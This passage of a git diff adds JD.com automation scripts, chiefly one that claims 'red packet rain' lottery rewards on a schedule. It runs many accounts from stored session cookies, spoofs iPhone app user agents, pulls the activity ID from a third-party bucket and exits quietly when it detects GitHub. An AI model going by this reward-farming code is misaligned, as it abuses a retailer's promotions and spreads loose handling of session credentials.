"application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function taskurl(functionId, body = '') { + return { + url: `${JD_API_HOST}/jxstory/userinfo/${functionId}?bizcode=jxstory&${body}&_time=${Date.now()}&_=${Date.now()}&sceneval=2&g_login_type=1`, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'jdpingou;iPhone;3.15.2;14.2;ae75259f6ca8378672006fc41079cd8c90c53be8;network/wifi;model/iPhone10,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/158;pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/pingou/jx_factory_story/index.html?ptag=138963.4.3', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function newtasksysUrl(functionId, taskId) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=jxstory&bizCode=jxstory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`; + if (taskId) { + url += `&taskId=${taskId}`; + } + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/pingou/jx_factory_story/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "q+": Math.floor((this.getMonth() + 3) / 3), //季度 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) + fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) + fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/activity/jd_live_redrain.js b/activity/jd_live_redrain.js new file mode 100644 index 0000000..6d5a5d4 --- /dev/null +++ b/activity/jd_live_redrain.js @@ -0,0 +1,280 @@ +/* +直播红包雨 +每天0,9,11,13,15,17,19,20,21,23可领,每日上限未知 +活动时间:2020-12-14 到 2020-12-31 +更新地址:jd_live_redrain.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#直播红包雨 +0 0,9,11,13,15,17,19,20,21,23 * * * jd_live_redrain.js, tag=直播红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "0 0,9,11,13,15,17,19,20,21,23 * * *" script-path=jd_live_redrain.js, tag=直播红包雨 + +===============Surge================= +直播红包雨 = type=cron,cronexp="0 0,9,11,13,15,17,19,20,21,23 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js + +============小火箭========= +直播红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0 0,9,11,13,15,17,19,20,21,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('直播红包雨'); +let ids = { + '0': 'RRA3S6TRRbnNNuGN43oHMA5okbcXmRY', + '9': 'RRA3vyGH4MRwCJELDwV7p24mNAByiSk', + '11': 'RRAnabmRSnpzSSZicXUhSFGBvFXs5c', + '13': 'RRA4RhWMc159kA62qLbaEa88evE7owb', + '15': 'RRA2CnovS9KVTTwBD9NV7o4kc3P8PTN', + '17': 'RRA2nFXT2oSQM3KaYX9uhBC1hBijDey', + '19': 'RRA3SQpuSAAJq1ckoPr4TXaxwbLG73k', + '20': 'RRA2cHV3KXqvHAZGboTTryr8JMYZd5j', + '21': 'RRA3SPs4XrDEXXwQjEFGrBLtMpjtkMV', + '23': 'RRA3dFHoZXGThSnctvtAf69dmVyEDfm', +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + process.env.TZ = "Asia/Shanghai"; + Date.prototype.TimeZone = new Map([ + ['Asia/Shanghai',+8], + ]) + Date.prototype.zoneDate = function(){ + if(process.env.TZ === undefined){ + return new Date(); + }else{ + for (let item of this.TimeZone.entries()) { + if(item[0] === process.env.TZ){ + let d = new Date(); + d.setHours(d.getHours()+item[1]); + return d; + } + } + return new Date(); + } + } +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.log(`=====远程红包雨信息=====`) + await getRedRain(); + if(!$.activityId) return + let nowTs = new Date().getTime() + if (!($.st <= nowTs && nowTs < $.ed)) { + $.log(`远程红包雨配置获取错误,从本地读取配置`) + $.log(`\n`) + let hour = (new Date().getUTCHours() + 8) %24 + if (ids[hour]){ + $.activityId = ids[hour] + $.log(`本地红包雨配置获取成功`) + } else{ + $.log(`无法从本地读取配置,请检查运行时间`) + return + } + } else{ + $.log(`远程红包雨配置获取成功`) + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = `【${new Date().getUTCHours()+8}点${$.name}】` + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await receiveRedRain(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + if ($.isNode() && !jdNotify) { + await notify.sendNotify(`【京东账号${$.index}】${$.nickName}`, message) + } + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + return new Promise(resolve => { + $.get({ + url: "http://ql4kk90rw.hb-bkt.clouddn.com/jd_live_redRain.json?" + Date.now(), + }, (err, resp, data) => { + try { + if (err) { + console.log(`1111${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.activityId = data.activityId + $.st = data.startTime + $.ed = data.endTime + console.log(`下一场红包雨开始时间:${new Date(data.startTime)}`) + console.log(`下一场红包雨结束时间:${new Date(data.endTime)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain() { + return new Promise(resolve => { + const body = {"actId": $.activityId}; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)} 京豆\n` + + } else if (data.subCode === '8') { + console.log(`领取失败,已领过`) + message += `领取失败,已领过\n`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + message += `暂无红包雨\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime()}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/active/redrain/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 